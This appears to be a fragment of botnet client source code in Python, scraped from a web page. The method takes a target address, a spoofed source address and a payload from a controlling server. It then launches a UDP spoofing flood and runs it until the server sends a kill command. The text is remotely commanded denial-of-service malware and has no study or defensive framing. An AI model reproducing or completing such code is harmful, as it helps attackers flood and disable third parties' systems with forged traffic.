def udp_spoof(self):
"""Get target/spoofed ip and port from server, start UPD spoof wait for 'KILL'."""
en_data = self.receive(3) # Max ip+port+spoofedip+spoofed port+payload length 999 chars
en_data = self.receive(int(en_data))
en_data = en_data.split(":")
target_ip = en_data[0]
target_port = int(en_data[1])
spoofed_ip = en_data[2]
spoofed_port = int(en_data[3])
payload = en_data[4].encode('UTF-8')
proc = Process(target=udp_spoof_start, args=(target_ip, target_port,
spoofed_ip, spoofed_port,
payload))
proc.start()
killed = False
while not killed:
en_data = self.receive(5)
try:
en_data = self.comm_dict[en_data]
except KeyError:
continue
if en_data == 'KILL':
proc.terminate()
killed = True
return 0
评论列表
文章目录